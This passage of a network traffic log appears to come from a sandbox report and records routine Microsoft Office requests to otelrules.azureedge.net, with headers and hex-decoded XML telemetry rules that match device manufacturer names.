/> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-r197bdfb6b4qbfppwgs4nqza8000000004m0000000007x9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b7867ttgfbpnfxt44s00000005xg000000000wf9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b78bcpfn2qf7sm6hsn00000007k000000000b1tb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b78p8hrf1se7fucxk800000006wg000000003z0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:01 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031801Z-16849878b786lft2mu9uftf3y40000000790000000003k21 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:02 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:02 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031802Z-16849878b787bfsh7zgp804my400000004ng00000000p587 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:02 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031802Z-16849878b78z2wx67pvzz63kdg00000004mg0000000060an x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:02 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:02 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031802Z-16849878b7898p5f6vryaqvp5800000006pg00000000r5xb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:02 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:02 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: e3c75742-001e-0014-79f3-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031802Z-r197bdfb6b48v72xb403uy6hns00000006h0000000009wya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:02 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031802Z-r197bdfb6b4d9xksru4x6qbqr000000005y000000000demt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031803Z-16849878b78x6gn56mgecg60qc00000007sg000000009w62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7ae13fc9-101e-005a-3933-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031803Z-r197bdfb6b48pcqqxhenwd2uz800000006r000000000ckp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 